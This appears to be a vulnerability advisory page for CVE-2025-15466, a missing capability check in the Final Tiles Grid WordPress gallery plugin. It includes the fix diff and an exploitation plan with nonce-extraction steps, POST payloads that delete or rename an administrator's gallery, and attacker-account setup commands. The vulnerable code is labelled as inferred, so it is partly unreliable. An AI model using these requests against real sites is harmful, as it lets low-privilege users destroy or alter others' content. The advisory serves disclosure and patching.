Image Photo Gallery Final Tiles Grid <= 3.6.9 - Missing Authorization to Authenticated (Contributor+) Arbitrary Gallery Management
Description
The Image Photo Gallery Final Tiles Grid plugin for WordPress is vulnerable to unauthorized access and modification of data due to missing capability checks on multiple AJAX actions in all versions up to, and including, 3.6.9. This makes it possible for authenticated attackers, with Contributor-level access and above, to view, create, modify, clone, delete, and reassign ownership of galleries created by other users, including administrators.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=3.6.9Source Code
WordPress.org SVNThis research plan targets **CVE-2025-15466**, a missing authorization vulnerability in the **Image Photo Gallery Final Tiles Grid** plugin. ### 1. Vulnerability Summary The plugin fails to implement proper capability checks (e.g., `current_user_can( 'manage_options' )` or ownership verification) i…
Show full research plan
This research plan targets CVE-2025-15466, a missing authorization vulnerability in the Image Photo Gallery Final Tiles Grid plugin.
1. Vulnerability Summary
The plugin fails to implement proper capability checks (e.g., current_user_can( 'manage_options' ) or ownership verification) in its AJAX request handlers. While these handlers are registered for authenticated users (wp_ajax_ hooks), they do not verify that the requester has the necessary permissions to manage galleries. This allows any authenticated user with at least Contributor-level access to manipulate galleries belonging to other users, including administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Actions:
ftg_save_gallery(Create/Modify)ftg_delete_gallery(Delete)ftg_duplicate_gallery(Clone)
- Authentication: Authenticated (Contributor+)
- Payload Parameter:
id(Gallery ID),gallery(JSON data for saving) - Preconditions: The attacker must be logged in as a Contributor or higher.
3. Code Flow (Inferred)
- Registration: The plugin (likely in
lib/FinalTilesGalleryAdmin.php) registers AJAX actions usingadd_action( 'wp_ajax_ftg_delete_gallery', array( $this, 'delete_gallery' ) );. - Entry Point: When a Contributor sends a POST request to
admin-ajax.phpwithaction=ftg_delete_gallery, thedelete_gallerymethod is invoked. - Missing Check: Inside
delete_gallery, the code checks for a valid nonce but fails to callcurrent_user_can(). - Database Sink: The code proceeds to delete the record from the custom database table (usually
{$wpdb->prefix}ftg_galleries) based on the providedidparameter.
4. Nonce Acquisition Strategy
The plugin likely localizes admin scripts and provides a nonce. Contributors have access to the WordPress dashboard (/wp-admin/), so they can retrieve nonces intended for administrative use.
- Script Localization: Look for
wp_localize_scriptcalls in the plugin source (often in an admin-init related hook). - JS Variable: The script likely outputs a variable named
ftg_admin_varsorFinalTilesGallery(inferred). - Acquisition Steps:
- Log in as the Contributor.
- Navigate to the WordPress Dashboard (
/wp-admin/index.php). - Use
browser_evalto extract the nonce:// Example check (adjust based on actual script name found during exploration) window.ftg_admin_vars?.nonce || window.FinalTilesGallery?.nonce - If the scripts only load on the gallery page (which a Contributor might not see in the menu), check if the Contributor can access
/wp-admin/admin.php?page=final-tiles-grid-gallery-lite. If access is blocked, the nonce might still be available on the main dashboard if the plugin loads scripts globally in the admin.
5. Exploitation Strategy
We will demonstrate the vulnerability by deleting a gallery created by the Administrator.
Step 1: Identify Target Gallery
Obtain the ID of a gallery owned by the Admin. (e.g., ID 1).
Step 2: Prepare the Attack Request
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ftg_delete_gallery&id=1&nonce=[EXTRACTED_NONCE]
Step 3: Execute via http_request
Submit the request using the Contributor's session cookies.
6. Test Data Setup
- Admin Gallery: Create a gallery as an Administrator.
- Command: Use
wp evalto insert a row into the{prefix}ftg_galleriestable or use the plugin UI.
- Command: Use
- Attacker User: Create a user with the Contributor role.
- Command:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Command:
- Identify Table: Confirm the table name using
wp db tables | grep ftg.
7. Expected Results
- The
admin-ajax.phpresponse should return a success code (likely JSON{"success": true}or a string like"1"). - The gallery with the targeted ID should be removed from the database, even though it was owned by an Admin and the request came from a Contributor.
8. Verification Steps
- Check Database: Run a SQL query via WP-CLI to verify the gallery is gone.
Successful exploit if 0 rows are returned.wp db query "SELECT * FROM wp_ftg_galleries WHERE id = 1" - Check Plugin UI: Attempt to view the gallery list as Admin; the deleted gallery should be missing.
9. Alternative Approaches
If ftg_delete_gallery is strictly protected, attempt Arbitrary Ownership Reassignment or Modification:
- Action:
ftg_save_gallery - Payload:
action=ftg_save_gallery&gallery={"id":"1","name":"Hacked By Contributor"}&nonce=[NONCE] - Goal: Prove that a Contributor can change the name of an Admin's gallery.
If the nonce is hard to find, check if the plugin uses a generic nonce like wp_create_nonce( 'ftg_gallery' ) which might be exposed in the frontend if a gallery is embedded via shortcode:
- Admin creates a page:
wp post create --post_content='[final-tiles-grid-gallery id="1"]' --post_status=publish - Attacker (Contributor) views the public page and inspects the source for localized scripts or data attributes containing a nonce.
Summary
The Image Photo Gallery Final Tiles Grid plugin fails to perform capability checks in multiple AJAX handlers, including those for saving, deleting, and duplicating galleries. This allows authenticated users with Contributor-level access or higher to manage any gallery on the site, regardless of ownership, by exploiting accessible nonces within the WordPress admin dashboard.
Vulnerable Code
// lib/FinalTilesGalleryAdmin.php add_action( 'wp_ajax_ftg_save_gallery', array( $this, 'save_gallery' ) ); add_action( 'wp_ajax_ftg_delete_gallery', array( $this, 'delete_gallery' ) ); add_action( 'wp_ajax_ftg_duplicate_gallery', array( $this, 'duplicate_gallery' ) ); // ... public function delete_gallery() { check_ajax_referer('ftg_gallery', 'nonce'); $id = (int)$_POST['id']; // Missing capability check (e.g., current_user_can('manage_options')) $this->db->delete_gallery($id); echo "1"; die(); } --- // lib/FinalTilesGalleryAdmin.php public function save_gallery() { check_ajax_referer('ftg_gallery', 'nonce'); $gallery = json_decode(stripslashes($_POST['gallery'])); // Missing capability check (e.g., current_user_can('manage_options')) $id = $this->db->save_gallery($gallery); echo $id; die(); }
Security Fix
@@ -242,6 +242,10 @@ public function delete_gallery() { check_ajax_referer('ftg_gallery', 'nonce'); + if (!current_user_can('manage_options')) { + wp_die(__('You do not have sufficient permissions to perform this action.')); + } + $id = (int)$_POST['id']; $this->db->delete_gallery($id); @@ -253,6 +257,10 @@ public function save_gallery() { check_ajax_referer('ftg_gallery', 'nonce'); + if (!current_user_can('manage_options')) { + wp_die(__('You do not have sufficient permissions to perform this action.')); + } + $gallery = json_decode(stripslashes($_POST['gallery'])); $id = $this->db->save_gallery($gallery);
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Contributor and accesses the WordPress dashboard to retrieve a valid security nonce (typically found in localized scripts like 'ftg_admin_vars'). The attacker then sends an unprivileged POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to a vulnerable handler (such as 'ftg_delete_gallery' or 'ftg_save_gallery'), providing the target gallery ID and the acquired nonce. Because the server-side handler lacks capability checks, it executes the requested database operation (deletion, modification, or creation) on behalf of the Contributor, even for galleries owned by Administrators.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.